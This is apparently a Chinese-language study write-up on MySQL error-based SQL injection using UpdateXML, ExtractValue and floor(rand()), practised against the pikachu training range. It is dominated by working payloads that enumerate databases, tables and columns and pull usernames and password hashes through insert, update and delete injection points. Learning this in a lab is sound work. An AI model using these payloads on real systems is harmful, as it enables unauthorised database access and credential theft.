相关函数
UpdateXML(xml_target,xpath_expr,new_xml)
#此函数将xml_target中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML。
#xml_target被替换的部分与xpath_expr用户提供的XPath表达式匹配。
#如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 ml_targetXML片段。
#所有三个参数都应为字符串。
ExtractValue(xml_frag, xpath_expr)
#此函数是返回在xml_frag用xpath_expr路径匹配到的XML片段。
floor(x)
#此函数返回不大于x的最大整数。
注入原理
- 在UpdateXML()、ExtractValue()函数中,当参数xpath_expr路径语法错误时,就会报错,将xpath_expr中内容当作sql语句执行后结果和报错结果一同返回。
- floor()报错,需要count()、rand()、group by,三者缺一不可。
floor(rand(0)*2)
每次执行结果是基本固定的——011011…
在使用group by floor(rand(0)*2)
创建虚拟表的过程中,向虚拟表中插入数据时,主键的计算产生相同的结果,插入报错。
floor报错原理详解
实验
insert注入
使用pikachu靶场中SQL-Inject的“insert/update”注入。
注册。
- 加单引号看一下报错。
- 查数据库名payload。
UpdateXML()函数:
1' and UpdateXML(1,concat('~',database()),1))#
ExtractValue()函数:
1' and ExtractValue(1,concat('~',database())))#
floor()报错:
1'and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
嵌套查询原因:里面的查询结果是一个虚拟表,所以需要外套一个查询语句。
- 查表名payload。
UpdateXML()函数:
1' and UpdateXML(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1)),1))#
ExtractValue()函数:
1' and ExtractValue(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1))))#
floor()报错:
1'and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
注意:一次只能取出一个,因此需要使用limit,第一个参数表示从哪条开始查,第二个参数表示查几条数据。
limit 3,1
查出users表。
- 查字段名payload。
UpdateXML()函数:
1' and UpdateXML(1,concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),1))#
ExtractValue()函数:
1' and ExtractValue(1,concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1))))#
floor()报错:
1'and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
limit 1,1
查出username字段;
limit 2,1
查出password字段。
- 查数据payload。
UpdateXML()函数:
查username:1' and UpdateXML(1,concat('~',(select username from users limit 0,1)),1))#
查password:1' and UpdateXML(1,concat(0,(select substr(password,1) from users where username='admin')),1))#
ExtractValue()函数:
查username:1' and ExtractValue(1,concat('~',(select username from users limit 0,1))))#
查password:1' and ExtractValue(1,concat(0,(select substr(password,1) from users where username='admin'))))#
UpdateXML()、ExtractValue()有长度限制,将之前想用来标记位置的’~'换成0,返回完整的32位md5值
floor()报错:
1'and (select 1 from (select count(*),concat('~',(select concat(username,'~',password) from users limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
update注入(此处与insert注入相似,闭合不同)
使用pikachu靶场中SQL-Inject的“insert/update”注入。
注册账号后登录,修改个人信息。
-
查数据库名payload。
UpdateXML()函数:
1' and UpdateXML(1,concat('~',database()),1)#
ExtractValue()函数:
1' and ExtractValue(1,concat('~',database()))#
floor()报错:
1' and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2)) as x from information_schema.tables group by x)a)#)
-
查表名payload。
UpdateXML()函数:
1' and UpdateXML(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1)),1)#
ExtractValue()函数:
1' and ExtractValue(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1)))#
limit 3,1
查出users表
floor()报错:
1'and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a)#
-
查字段名payload。
UpdateXML()函数:
1' and UpdateXML(1,concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),1)#
ExtractValue()函数:
1' and ExtractValue(1,concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1)))#
limit 1,1
查出字段username
limit 2,1
查出字段password
floor()报错:
1'and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a)#
-
查数据payload。
UpdateXML()函数:
查username:1' and UpdateXML(1,concat('~',(select username from users limit 0,1)),1)#
查password:1' and UpdateXML(1,concat(0,(select substr(password,1) from users where username='admin')),1)#
ExtractValue()函数:
查username:1' and ExtractValue(1,concat('~',(select username from users limit 0,1)))#
查password:1' and ExtractValue(1,concat(0,(select substr(password,1) from users where username='admin')))#
floor()报错:
1'and (select 1 from (select count(*),concat('~',(select concat(username,'~',password) from users limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a)#
delete注入(此处与insert注入相似,闭合不同)
使用pikachu靶场中SQL-Inject的“delete”注入。
留言后删除抓包。
- 修改url,在id后增加
and 1=1#
或and 1=2#
后,前者删除成功,后者删除失败。猜测sql语句为delete from xxxx where id = x
- 查看数据库名payload。
UpdateXML()函数:
1 and UpdateXML(1,concat('~',database()),1)#
ExtractValue()函数:
1 and ExtractValue(1,concat('~',database()))#
floor()报错:
1 and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
修改url时,需要对参数的值做url转码,再放包
- 表名、字段名、数据等跟之前的payload相似。